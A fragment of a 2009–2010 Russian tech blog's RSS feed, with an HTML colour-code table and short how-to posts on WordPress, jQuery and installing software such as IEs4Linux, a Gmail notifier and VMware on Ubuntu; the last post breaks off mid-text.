<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span>204.255.255</span></td>
<td width="16%"><span><span class="howc">153.255.255</span></span></td>
<td width="16%"><span><span class="howc">102.255.255</span></span></td>
<td width="16%"><span>51.255.255</span></td>
<td width="16%"><span><span class="howcr">0.255.255</span></span></td>
<td width="16%"><span><span class="howcr">0.204.204</span></span></td>
</tr>
<tr>
<td><span><span class="howcr">CCFFFF</span></span></td>
<td><span>99FFFF</span></td>
<td><span>66FFFF</span></td>
<td><span>33FFFF</span></td>
<td><span><span class="howcr">00FFFF</span></span></td>
<td><span><span class="howcr">00CCCC</span></span></td>
</tr>
<tr>
<td bgcolor="#ccffff"></td>
<td bgcolor="#99ffff"></td>
<td bgcolor="#66ffff"></td>
<td bgcolor="#33ffff"></td>
<td bgcolor="#00ffff"></td>
<td bgcolor="#00cccc"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span><span class="howc">153.255.204</span></span></td>
<td width="16%"><span><span class="howc">102.255.204</span></span></td>
<td width="16%"><span>51.255.204</span></td>
<td width="16%"><span><span class="howcr">0.255.204</span></span></td>
<td width="16%"><span>51.204.204</span></td>
<td width="16%"><span><span class="howcr">0.153.153</span></span></td>
</tr>
<tr>
<td><span>99FFCC</span></td>
<td><span>66FFCC</span></td>
<td><span>33FFCC</span></td>
<td><span><span class="howcr">00FFCC</span></span></td>
<td><span>33CCCC</span></td>
<td><span><span class="howcr">009999</span></span></td>
</tr>
<tr>
<td bgcolor="#99ffcc"></td>
<td bgcolor="#66ffcc"></td>
<td bgcolor="#33ffcc"></td>
<td bgcolor="#00ffcc"></td>
<td bgcolor="#33cccc"></td>
<td bgcolor="#009999"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span><span class="howc">102.204.153</span></span></td>
<td width="16%"><span>51.204.153</span></td>
<td width="16%"><span><span class="howcr">0.204.153</span></span></td>
<td width="16%"><span>51.153.102</span></td>
<td width="16%"><span><span class="howcr">0.153.102</span></span></td>
<td width="16%"><span><span class="howcr">0.102.51</span></span></td>
</tr>
<tr>
<td><span>66CC99</span></td>
<td><span>33CC99</span></td>
<td><span><span class="howcr">00CC99</span></span></td>
<td><span>339966</span></td>
<td><span><span class="howcr">009966</span></span></td>
<td><span><span class="howcr">006633</span></span></td>
</tr>
<tr>
<td bgcolor="#66cc99"></td>
<td bgcolor="#33cc99"></td>
<td bgcolor="#00cc99"></td>
<td bgcolor="#339966"></td>
<td bgcolor="#009966"></td>
<td bgcolor="#006633"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span><span class="howc">102.255.153</span></span></td>
<td width="16%"><span>51.255.153</span></td>
<td width="16%"><span><span class="howcr">0.255.153</span></span></td>
<td width="16%"><span>51.204.102</span></td>
<td width="16%"><span><span class="howcr">0.204.102</span></span></td>
<td width="16%"><span><span class="howcr">0.153.51</span></span></td>
</tr>
<tr>
<td><span>66FF99</span></td>
<td><span>33FF99</span></td>
<td><span><span class="howcr">00FF99</span></span></td>
<td><span>33CC66</span></td>
<td><span><span class="howcr">00CC66</span></span></td>
<td><span><span class="howcr">009933</span></span></td>
</tr>
<tr>
<td bgcolor="#66ff99"></td>
<td bgcolor="#33ff99"></td>
<td bgcolor="#00ff99"></td>
<td bgcolor="#33cc66"></td>
<td bgcolor="#00cc66"></td>
<td bgcolor="#009933"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span><span class="howc">153.255.153</span></span></td>
<td width="16%"><span><span class="howc">102.255.102</span></span></td>
<td width="16%"><span>51.255.102</span></td>
<td width="16%"><span><span class="howcr">0.255.102</span></span></td>
<td width="16%"><span>51.153.51</span></td>
<td width="16%"><span><span class="howcr">0.102.0</span></span></td>
</tr>
<tr>
<td><span>99FF99</span></td>
<td><span>66FF66</span></td>
<td><span>33FF66</span></td>
<td><span><span class="howcr">00FF66</span></span></td>
<td><span>339933</span></td>
<td><span><span class="howcr">006600</span></span></td>
</tr>
<tr>
<td bgcolor="#99ff99"></td>
<td bgcolor="#66ff66"></td>
<td bgcolor="#33ff66"></td>
<td bgcolor="#00ff66"></td>
<td bgcolor="#339933"></td>
<td bgcolor="#006600"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span>204.255.204</span></td>
<td width="16%"><span><span class="howc">153.204.153</span></span></td>
<td width="16%"><span><span class="howc">102.204.102</span></span></td>
<td width="16%"><span><span class="howc">102.153.102</span></span></td>
<td width="16%"><span>51.102.51</span></td>
<td width="16%"><span><span class="howcr">0.51.0</span></span></td>
</tr>
<tr>
<td><span><span class="howcr">CCFFCC</span></span></td>
<td><span>99CC99</span></td>
<td><span>66CC66</span></td>
<td><span>669966</span></td>
<td><span>336633</span></td>
<td><span><span class="howcr">003300</span></span></td>
</tr>
<tr>
<td bgcolor="#ccffcc"></td>
<td bgcolor="#99cc99"></td>
<td bgcolor="#66cc66"></td>
<td bgcolor="#669966"></td>
<td bgcolor="#336633"></td>
<td bgcolor="#003300"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span>51.255.51</span></td>
<td width="16%"><span><span class="howcr">0.255.51</span></span></td>
<td width="16%"><span><span class="howcr">0.255.0</span></span></td>
<td width="16%"><span><span class="howcr">0.204.0</span></span></td>
<td width="16%"><span>51.204.51</span></td>
<td width="16%"><span><span class="howcr">0.204.51</span></span></td>
</tr>
<tr>
<td><span>33FF33</span></td>
<td><span><span class="howcr">00FF33</span></span></td>
<td><span><span class="howcr">00FF00</span></span></td>
<td><span><span class="howcr">00CC00</span></span></td>
<td><span>33CC33</span></td>
<td><span><span class="howcr">00CC33</span></span></td>
</tr>
<tr>
<td bgcolor="#33ff33"></td>
<td bgcolor="#00ff33"></td>
<td bgcolor="#00ff00"></td>
<td bgcolor="#00cc00"></td>
<td bgcolor="#33cc33"></td>
<td bgcolor="#00cc33"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span><span class="howc">102.255.0</span></span></td>
<td width="16%"><span><span class="howc">102.255.51</span></span></td>
<td width="16%"><span>51.255.0</span></td>
<td width="16%"><span>51.204.0</span></td>
<td width="16%"><span>51.153.0</span></td>
<td width="16%"><span><span class="howcr">0.153.0</span></span></td>
</tr>
<tr>
<td><span>66FF00</span></td>
<td><span>66FF33</span></td>
<td><span>33FF00</span></td>
<td><span>33CC00</span></td>
<td><span>339900</span></td>
<td><span><span class="howcr">009900</span></span></td>
</tr>
<tr>
<td bgcolor="#66ff00"></td>
<td bgcolor="#66ff33"></td>
<td bgcolor="#33ff00"></td>
<td bgcolor="#33cc00"></td>
<td bgcolor="#339900"></td>
<td bgcolor="#009900"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span>204.255.153</span></td>
<td width="16%"><span><span class="howc">153.255.102</span></span></td>
<td width="16%"><span><span class="howc">102.204.0</span></span></td>
<td width="16%"><span><span class="howc">102.204.51</span></span></td>
<td width="16%"><span><span class="howc">102.153.51</span></span></td>
<td width="16%"><span>51.102.0</span></td>
</tr>
<tr>
<td><span><span class="howcr">CCFF99</span></span></td>
<td><span>99FF66</span></td>
<td><span>66CC00</span></td>
<td><span>66CC33</span></td>
<td><span>669933</span></td>
<td><span>336600</span></td>
</tr>
<tr>
<td bgcolor="#ccff99"></td>
<td bgcolor="#99ff66"></td>
<td bgcolor="#66cc00"></td>
<td bgcolor="#66cc33"></td>
<td bgcolor="#669933"></td>
<td bgcolor="#336600"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span><span class="howc">153.255.0</span></span></td>
<td width="16%"><span><span class="howc">153.255.51</span></span></td>
<td width="16%"><span><span class="howc">153.204.102</span></span></td>
<td width="16%"><span><span class="howc">153.204.0</span></span></td>
<td width="16%"><span><span class="howc">153.204.51</span></span></td>
<td width="16%"><span><span class="howc">102.153.0</span></span></td>
</tr>
<tr>
<td><span>99FF00</span></td>
<td><span>99FF33</span></td>
<td><span>99CC66</span></td>
<td><span>99CC00</span></td>
<td><span>99CC33</span></td>
<td><span>669900</span></td>
</tr>
<tr>
<td bgcolor="#99ff00"></td>
<td bgcolor="#99ff33"></td>
<td bgcolor="#99cc66"></td>
<td bgcolor="#99cc00"></td>
<td bgcolor="#99cc33"></td>
<td bgcolor="#669900"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span>204.255.102</span></td>
<td width="16%"><span>204.255.0</span></td>
<td width="16%"><span>204.255.51</span></td>
<td width="16%"><span>204.204.153</span></td>
<td width="16%"><span><span class="howc">102.102.51</span></span></td>
<td width="16%"><span>51.51.0</span></td>
</tr>
<tr>
<td><span><span class="howcr">CCFF66</span></span></td>
<td><span><span class="howcr">CCFF00</span></span></td>
<td><span><span class="howcr">CCFF33</span></span></td>
<td><span><span class="howcr">CCCC99</span></span></td>
<td><span>666633</span></td>
<td><span>333300</span></td>
</tr>
<tr>
<td bgcolor="#ccff66"></td>
<td bgcolor="#ccff00"></td>
<td bgcolor="#ccff33"></td>
<td bgcolor="#cccc99"></td>
<td bgcolor="#666633"></td>
<td bgcolor="#333300"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span>204.204.102</span></td>
<td width="16%"><span>204.204.51</span></td>
<td width="16%"><span><span class="howc">153.153.51</span></span></td>
<td width="16%"><span><span class="howc">153.153.102</span></span></td>
<td width="16%"><span><span class="howc">153.153.0</span></span></td>
<td width="16%"><span><span class="howc">102.102.0</span></span></td>
</tr>
<tr>
<td><span><span class="howcr">CCCC66</span></span></td>
<td><span><span class="howcr">CCCC33</span></span></td>
<td><span>999966</span></td>
<td><span>999933</span></td>
<td><span>999900</span></td>
<td><span>666600</span></td>
</tr>
<tr>
<td bgcolor="#cccc66"></td>
<td bgcolor="#cccc33"></td>
<td bgcolor="#999966"></td>
<td bgcolor="#999933"></td>
<td bgcolor="#999900"></td>
<td bgcolor="#666600"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span>255.255.255</span></td>
<td width="16%"><span>204.204.204</span></td>
<td width="16%"><span><span class="howc">153.153.153</span></span></td>
<td width="16%"><span><span class="howc">102.102.102</span></span></td>
<td width="16%"><span>51.51.51</span></td>
<td width="16%"><span><span class="howcr">0.0.0</span></span></td>
</tr>
<tr>
<td><span>FFFFFF</span></td>
<td><span><span class="howcr">CCCCCC</span></span></td>
<td><span>999999</span></td>
<td><span>666666</span></td>
<td><span>333333</span></td>
<td><span><span class="howcr">000000</span></span></td>
</tr>
<tr>
<td bgcolor="#ffffff"></td>
<td bgcolor="#cccccc"></td>
<td bgcolor="#999999"></td>
<td bgcolor="#666666"></td>
<td bgcolor="#333333"></td>
<td bgcolor="#000000"></td>
</tr>
</tbody>
</table>
<p>пригодиться!</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/02/15/tablica-html-kodov/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress подключение JQuery</title>
		<link>http://saintist.ru/2010/02/11/wordpress-jquery/</link>
		<comments>http://saintist.ru/2010/02/11/wordpress-jquery/#comments</comments>
		<pubDate>Wed, 10 Feb 2010 20:40:14 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=996</guid>
		<description><![CDATA[jQuery очень удобный инструмент так же как и WordPress ). Необходимо было подключить jQuery к wordpress. Делается одной строкой Worpress уже включает в себя JQuery. Для активации в теме wordpress jQuery необходимо в область head перед wp_head() добавить код wp_enqueue_script(&#171;jquery&#187;); дело в том что функция wp_enqueue_script(), позволяет безопасного подключения javascript в тему WordPress. Атрибуты wp_enqueue_script [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="/wp-content/uploads/2010/01/wordpress_normal.jpg"><img class="size-medium wp-image-993 aligncenter" title="Wordpress подключение JQuery" src="/wp-content/uploads/2010/01/wordpress_normal-300x300.jpg" alt="" width="300" height="300" /></a></p>
<p>jQuery очень удобный инструмент так же как и WordPress ).<br />
Необходимо было подключить jQuery к wordpress. Делается одной строкой<br />
<span id="more-996"></span></p>
<p>Worpress уже включает в себя JQuery.<br />
Для активации в теме wordpress jQuery необходимо  в область<br />
<strong>head </strong>перед <strong>wp_head()</strong></p>
<p>добавить код</p>
<p><strong>wp_enqueue_script(&#171;jquery&#187;);</strong></p>
<p>дело в том что функция wp_enqueue_script(), позволяет  безопасного подключения javascript в тему WordPress. </p>
<p><strong>Атрибуты wp_enqueue_script</strong></p>
<p><strong><?php wp_enqueue_script( $handle, $src, $deps, $ver ); ?></strong></p>
<p><strong>$handle</strong> -Название скрипта. Без регистра. </p>
<p><strong>$src</strong> -необязательный путь к скрипту из корневой директории WordPress. Необходим когда WordPress ничего не знает об этом скрипте.</p>
<p><strong>$deps</strong> &#8212; Массив указателей на любые скрипты, от которых зависит этот скрипт; скрипты, которые должны быть загружены до этого скрипта. </p>
<p><strong>$ver</strong> -Необязательный параметр строка указывает номер версии скрипта, если их несколько. </p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/02/11/wordpress-jquery/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>WordPress Получение id родительской рубрики</title>
		<link>http://saintist.ru/2010/01/30/wordpress-poluchenie-id-roditelskoj-rubriki/</link>
		<comments>http://saintist.ru/2010/01/30/wordpress-poluchenie-id-roditelskoj-rubriki/#comments</comments>
		<pubDate>Sat, 30 Jan 2010 11:55:24 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[wordpress castom]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=992</guid>
		<description><![CDATA[Начал   работать с WordPress. Искал решение для вполне тривиальной задачи -Как определить id родительской категории в wordpress. Понадобилось для кастомизации темы wordpress. Стандартной функции  не нашел, может плохо искал. Простое и элегантное решение. if( is_category() ) { $cat = get_category(get_query_var('cat'),false); $parrentCategoryId=$cat->category_parent; } Объяснения излишни )]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="/wp-content/uploads/2010/01/wordpress_normal.jpg"><img class="size-medium wp-image-993 aligncenter" title="wordpress category id" src="/wp-content/uploads/2010/01/wordpress_normal-300x300.jpg" alt="" width="300" height="300" /></a></p>
<p>Начал   работать с WordPress.</p>
<p>Искал решение для вполне тривиальной задачи -<strong>Как определить id родительской категории в wordpress</strong>. Понадобилось для  кастомизации темы wordpress.</p>
<p>Стандартной функции  не нашел, может плохо искал.</p>
<p>Простое и элегантное решение.</p>
<p><span id="more-992"></span></p>
<pre>

if( is_category() ) {
$cat = get_category(get_query_var('cat'),false);
$parrentCategoryId=$cat->category_parent;
}
</pre>
<p>Объяснения излишни )</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/01/30/wordpress-poluchenie-id-roditelskoj-rubriki/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Internet Explorer в Ubuntu Linux</title>
		<link>http://saintist.ru/2010/01/27/internet-explorer-v-ubuntu-linux/</link>
		<comments>http://saintist.ru/2010/01/27/internet-explorer-v-ubuntu-linux/#comments</comments>
		<pubDate>Wed, 27 Jan 2010 09:18:13 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[IEs4Linux]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=979</guid>
		<description><![CDATA[Как ни хорош Linux, и как ни плох Internet Explorer, но необходимость в последнем, в основном из-за его все еще массовой распространенности присутствует ). Итак как установить Internet Explorer в Linux? Понадобятся нам wine там есть cabextractor для распаковки дистрибутивов от Microsoft, и несколько минут нашего времени. Количество минут зависит от скорости Интернет соединения . [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2010/01/ies4osx.png"><img class="alignnone size-full wp-image-983" title="ies4osx" src="http://saintist.ru/wp-content/uploads/2010/01/ies4osx.png" alt="" width="256" height="256" /></a></p>
<p>Как ни хорош Linux, и как ни плох  Internet Explorer, но необходимость в последнем, в основном из-за его все еще массовой распространенности   присутствует ).</p>
<p>Итак <strong>как установить  Internet Explorer в Linux</strong>?<br />
<span id="more-979"></span></p>
<p>Понадобятся нам  wine там есть cabextractor для  распаковки  дистрибутивов от Microsoft, и несколько минут нашего времени. Количество минут зависит от скорости Интернет соединения <img src='http://saintist.ru/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>Для установки wine, в терминале выполняем</p>
<p><strong>wget -q http://wine.budgetdedicated.com/apt/387EE263.gpg -O- | sudo apt-key add -</strong></p>
<p><strong>sudo wget http://wine.budgetdedicated.com/apt/sources.list.d/gutsy.list -O /etc/apt/sources.list.d/winehq.list</strong></p>
<p><strong>sudo apt-get update</strong></p>
<p><strong>sudo apt-get install wine cabextract</strong></p>
<p>После этого качаем IEs4Linux</p>
<p><strong>wget http://www.tatanka.com.br/ies4linux/downloads/ies4linux-latest.tar.gz</strong></p>
<p>распаковываем</p>
<p><strong>tar zxvf ies4linux-latest.tar.gz</strong></p>
<p>переходим в директорию куда распаковали</p>
<p><strong>cd ies4linux-*</strong></p>
<p>и запускаем его установку</p>
<p><strong>./ies4linux</strong></p>
<p>В появившемся окошке  выбираем параметры  установки</p>
<p style="text-align: center;"><img class="size-full wp-image-981 aligncenter" title="ies4linux2" src="http://saintist.ru/wp-content/uploads/2010/01/ies4linux2.gif" alt="" width="264" height="389" /></p>
<p>Жмем [OK]</p>
<p>Готово.</p>
<p>Проверить можно запустив <strong>~/bin/ie6 </strong></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/01/27/internet-explorer-v-ubuntu-linux/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Письмо деду морозу</title>
		<link>http://saintist.ru/2009/12/29/pismo-dedu-morozu/</link>
		<comments>http://saintist.ru/2009/12/29/pismo-dedu-morozu/#comments</comments>
		<pubDate>Tue, 29 Dec 2009 11:14:30 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[YouTube и нетолько]]></category>
		<category><![CDATA[письмо деду морозу]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=971</guid>
		<description><![CDATA[Вот как надо писать письмо деду морозу ps:Очень хорошо сделано!]]></description>
			<content:encoded><![CDATA[<p>Вот как надо писать письмо деду морозу<br />
<object type="application/x-shockwave-flash" style="width:425px; height:355px;" data="http://www.youtube.com/v/aLDLkZpXUVw&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0"><param name="movie" value="http://www.youtube.com/v/aLDLkZpXUVw&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0" /></object></p>
<p>ps:Очень хорошо сделано!</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/12/29/pismo-dedu-morozu/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>открыть rar архив в Ubuntu Linux</title>
		<link>http://saintist.ru/2009/12/25/open-rar-arhive-with-ubuntu-linux/</link>
		<comments>http://saintist.ru/2009/12/25/open-rar-arhive-with-ubuntu-linux/#comments</comments>
		<pubDate>Fri, 25 Dec 2009 10:32:27 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[notes]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=967</guid>
		<description><![CDATA[По у молчанию менеджер архивов Ubuntu не умеет открывать rar архивы. Чтобы научить его этому в терминале выполните sudo apt-get install unrar доустановив нужные пакеты]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/12/archive.png"><img class="size-full wp-image-968 aligncenter" title="archive" src="http://saintist.ru/wp-content/uploads/2009/12/archive.png" alt="archive" width="128" height="128" /></a></p>
<p>По у молчанию менеджер архивов Ubuntu не умеет открывать rar  архивы. Чтобы научить его этому  в терминале  выполните</p>
<p><strong>sudo apt-get install unrar</strong></p>
<p>доустановив нужные пакеты</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/12/25/open-rar-arhive-with-ubuntu-linux/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>iTunes Apple iPod и Linux</title>
		<link>http://saintist.ru/2009/12/25/itunes-install-with-linux/</link>
		<comments>http://saintist.ru/2009/12/25/itunes-install-with-linux/#comments</comments>
		<pubDate>Fri, 25 Dec 2009 09:55:14 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[notes]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[iPod]]></category>
		<category><![CDATA[iTunes]]></category>
		<category><![CDATA[YamiPod]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=959</guid>
		<description><![CDATA[Apple iPod очень удобный и функциональный плеер. Оболочка iTunes для управления композициями на iPod существует только под Mac и Win платформы. Так я перешел на Linux, то решил найти ей замену. Оптимальным вариантом замены iTunes под Linux оказался YamiPod YamiPod позволяет управлять файлами на Apple iPod и синхронизировать iPod с ПК. Не требует инсталляции, и [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/12/yamipod-ubuntu.png"><img class="size-medium wp-image-960 aligncenter" title="yamipod-ubuntu" src="http://saintist.ru/wp-content/uploads/2009/12/yamipod-ubuntu-300x230.png" alt="yamipod-ubuntu" width="300" height="230" /></a></p>
<p>Apple iPod очень удобный и функциональный плеер. Оболочка iTunes для  управления композициями на iPod существует только под Mac и Win платформы.<br />
Так я перешел на Linux, то решил найти ей замену.<br />
<span id="more-959"></span></p>
<p><strong>Оптимальным вариантом замены iTunes под Linux оказался YamiPod</strong></p>
<p>YamiPod  позволяет управлять файлами на   Apple iPod и синхронизировать iPod с ПК. Не требует инсталляции, и таким образом ее можно таскать на самом iPod. Поддержка  русского языка.</p>
<p><strong>Характеристики YamiPod</strong>:<br />
- менеджер  плейлистов m3u/pls<br />
- восстановление ошибочно стертых файлов<br />
- совместима с файлами mp3/aac<br />
- поддержка RSS и Podcast<br />
- поддержка всех  версий iPod<br />
- импорт плейлистов в  PLS,M3U<br />
- экспорт плейлистов PLS,M3U</p>
<p>Сборки для операционных  систем   Mac OS X, Windows и Linux.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/12/25/itunes-install-with-linux/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Gmail Notifier для Linux</title>
		<link>http://saintist.ru/2009/12/17/gmail-notifier-dlya-linux/</link>
		<comments>http://saintist.ru/2009/12/17/gmail-notifier-dlya-linux/#comments</comments>
		<pubDate>Thu, 17 Dec 2009 09:09:33 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Gmail]]></category>
		<category><![CDATA[Gmail Notifier]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=948</guid>
		<description><![CDATA[Под Windows использовал Gmail Notifier. Удобная вещь. При переходе на Linux нашел аналог ). Расширение для Google Chrome для проверки gmail не понравилось. Аналог называется также ) Gmail Notifier. По функциональности легко делает Виндовый Gmail Notifier. Как ставить? sudo gedit /etc/apt/sources.list добавляем строки deb http://asher256-repository.tuxfamily.org dapper main dupdate french deb http://asher256-repository.tuxfamily.org ubuntu main dupdate french [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/12/Gmail-Notifier.png"><img class="size-medium wp-image-951 aligncenter" title="Gmail-Notifier" src="http://saintist.ru/wp-content/uploads/2009/12/Gmail-Notifier-300x101.png" alt="Gmail-Notifier" width="300" height="101" /></a></p>
<p>Под Windows  использовал  Gmail Notifier. Удобная вещь. При переходе  на Linux нашел  аналог ).</p>
<p>Расширение для  Google Chrome для проверки gmail   не понравилось.</p>
<p>Аналог называется также ) Gmail Notifier.</p>
<p><span id="more-948"></span></p>
<p>По функциональности легко  делает Виндовый   Gmail Notifier.</p>
<p>Как ставить?</p>
<p><strong>sudo gedit /etc/apt/sources.list</strong></p>
<p>добавляем строки<br />
<strong>deb http://asher256-repository.tuxfamily.org dapper main dupdate french<br />
deb http://asher256-repository.tuxfamily.org ubuntu main dupdate french</strong></p>
<p>сохраняем изменения</p>
<p>выполняем<br />
<strong>sudo apt-get update</strong></p>
<p>устанавливаем</p>
<p><strong>sudo apt-get install checkgmail</strong></p>
<p>Появится в меню во вкладке Internet</p>
<p>Легко настраивается</p>
<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/12/Gmail-Notifier-config.png"><img class="size-medium wp-image-949 aligncenter" title="Gmail-Notifier-config" src="http://saintist.ru/wp-content/uploads/2009/12/Gmail-Notifier-config-300x216.png" alt="Gmail-Notifier-config" width="300" height="216" /></a></p>
<p>Хорошая поддержка языков.</p>
<p>Не забудьте добавить в автозапуск: <strong>/usr/bin/checkgmail</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/12/17/gmail-notifier-dlya-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Аналог программы Punto Switcher для Linux</title>
		<link>http://saintist.ru/2009/12/17/analog-programmy-punto-switcher-dlya-linux/</link>
		<comments>http://saintist.ru/2009/12/17/analog-programmy-punto-switcher-dlya-linux/#comments</comments>
		<pubDate>Thu, 17 Dec 2009 08:10:37 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Punto Switcher]]></category>
		<category><![CDATA[Switcher]]></category>
		<category><![CDATA[X Neural Switche]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=944</guid>
		<description><![CDATA[Под Windows использовал Punto Switcher. Очень удобно и функционально, ну и к &#171;плохому&#187; быстро привыкаешь ). При переходе на Linux встал вопрос поиска аналогичной программы. Оказалось что такая программа есть. Называется X Neural Switcher. Очень много настроек, по функциональности гораздо сильнее Punto Switcher. Конкретно для Ubuntu присутствует в репозитории. Дополнительно установка пакета aspell-ru очень сильно [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/12/xneural.png"><img class="size-full wp-image-945 aligncenter" title="xneural" src="http://saintist.ru/wp-content/uploads/2009/12/xneural.png" alt="xneural" width="360" height="233" /></a></p>
<p>Под  Windows  использовал Punto Switcher. Очень удобно и функционально, ну и к &#171;плохому&#187; быстро привыкаешь ).</p>
<p>При переходе на  Linux встал вопрос поиска аналогичной программы.</p>
<p>Оказалось что такая программа есть.<br />
<span id="more-944"></span></p>
<p>Называется X Neural Switcher.</p>
<p>Очень много  настроек, по функциональности гораздо сильнее Punto Switcher.</p>
<p>Конкретно для  Ubuntu присутствует в репозитории.</p>
<p>Дополнительно установка пакета  aspell-ru очень сильно улучшает качество работы X Neural Switcher.</p>
<p>Добавляем его в автозапуск.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/12/17/analog-programmy-punto-switcher-dlya-linux/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>ubuntu установка vmware workstation</title>
		<link>http://saintist.ru/2009/12/14/ubuntu-ustanovka-vmware-workstation/</link>
		<comments>http://saintist.ru/2009/12/14/ubuntu-ustanovka-vmware-workstation/#comments</comments>
		<pubDate>Mon, 14 Dec 2009 09:34:05 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[vmware]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=940</guid>
		<description><![CDATA[Как поставить vmware workstation на ubuntu linux? Качаем, необходимо зарегистрироваться, с сайта vmware дистрибутив, в моем варианте: VMware-Workstation-Full-7.0.0-203739.i386.bundle Заходим в терминал Ставим пакеты sudo aptitude install build-essential linux-kernel-headers linux-kernel-devel Переходим в директорию с дистрибутивом и выполняем gksudo bash ./VMware-Workstation-Full-7.0.0-203739.i386.bundle Готово в Меню Приложения-> Системные утилиты появилась vmware]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/12/vmware.png"><img class="size-medium wp-image-941 aligncenter" title="vmware" src="http://saintist.ru/wp-content/uploads/2009/12/vmware-300x225.png" alt="vmware" width="300" height="225" /></a></p>
<p>Как поставить vmware workstation на ubuntu linux?<br />
<span id="more-940"></span></p>
<p>Качаем, необходимо зарегистрироваться,  с сайта vmware дистрибутив, в моем варианте: <strong>VMware-Workstation-Full-7.0.0-203739.i386.bundle</strong></p>
